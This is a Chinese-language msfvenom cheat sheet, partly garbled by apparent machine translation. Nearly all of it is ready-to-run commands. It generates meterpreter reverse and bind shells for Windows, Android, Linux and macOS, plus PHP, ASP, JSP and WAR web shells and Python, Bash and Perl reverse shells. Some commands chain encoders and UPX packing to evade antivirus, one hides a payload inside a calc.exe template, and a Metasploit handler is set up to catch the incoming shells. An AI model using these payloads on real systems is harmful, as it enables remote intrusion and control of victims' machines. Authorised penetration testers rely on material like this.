msfvenom的使用
Msfvenom是净荷生成和编码的组合。 它将取代msfpayload和msfencode于2015年6月8日。
要开始使用msfvenom,首先请看看它支持的选项:
1 | Options: |
0x01 如何产生一个有效载荷
为了产生一个有效载荷,还有,你必须提供(-p和-f)两个标志:
-p标志:指定哪些有效载荷生成
要查看有效载荷可从框架,你可以这样做:
msfvenom -l payloads
-p标志也支持“ - ”,以此来接受一个自定义的有效载荷:
cat payload_file.bin | msfvenom -p - -a x86 –platform win -e x86/shikata_ga_nai -f raw
-f标志:指定有效载荷的格式
语法的例子:
msfvenom -p windows/meterpreter/bind_tcp -f exe
要查看支持哪些格式,可以执行以下操作来找出:
msfvenom –help-formats
通常情况下,这可能是你将如何使用msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker’s IP] lport=4444 -f exe -o /tmp/my_payload.exee
0x02 如何有效载荷进行编码
默认情况下,当您使用-b标志(该badchar标志)的编码功能将自动一命呜呼 在其他情况下,你必须使用-e标志如下所示:
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw
要找出你可以使用的编码器,可以使用-l标志:
msfvenom -l encoders
您也可以使用-i标志进行编码的有效载荷多次。 有时更多的迭代可以帮助避免杀毒软件,但知道的编码是不是真的意味着要使用一个真正的AV回避的解决方案:
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3
0x03如何避免坏字符
b标志是为了被使用,以避免在负载某些字符。 当使用此选项,msfvenom会自动找到一个合适的编码器的有效载荷进行编码:
msfvenom -p windows/meterpreter/bind_tcp -b ‘\x00’ -f raw
0x04如何提供一个自定义模板
默认情况下,msfvenom使用模板从MSF /数据/模板目录。 如果您想选择你自己的,你可以用-x标志如下所示:
msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe
请注意:如果你想创建一个64位的有效载荷与的Winodws自定义64自定义模板,而不是exe格式的话,你应该使用EXE只:
msfvenom -p windows/x64/meterpreter/bind_tcp -x /tmp/templates/64_calc.exe -f exe-only > /tmp/fake_64_calc.exe
-x标志往往是搭配-k标志,它允许你运行你的有效载荷从模板创建一个新的线程。 然而,这是目前唯一可靠的旧的Windows机器,如x86的Windows XP中。
0x05如何链msfvenom输出
老msfpayload和msfencode公用事业往往链接在一起的多种编码的顺序层。 这是可能的使用msfvenom还有:
生成windows payload
$msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 | \
msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | \
msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o payload.exe
使用upx压缩
upx -5 payload.exe
系统payload
windows payload
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=45.32.94.102 LPORT=8888 -f exe > a.exe
android payload
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.103 LPORT=4444 R > androvirus.apk
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
Web Payloads
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
脚本Payloads
Python
msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
0x06 Handlers
Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.
use exploit/multi/handler, set PAYLOAD set LHOST xxxx, set LPORT xxxx ,set ExitOnSession false ,exploit -j -z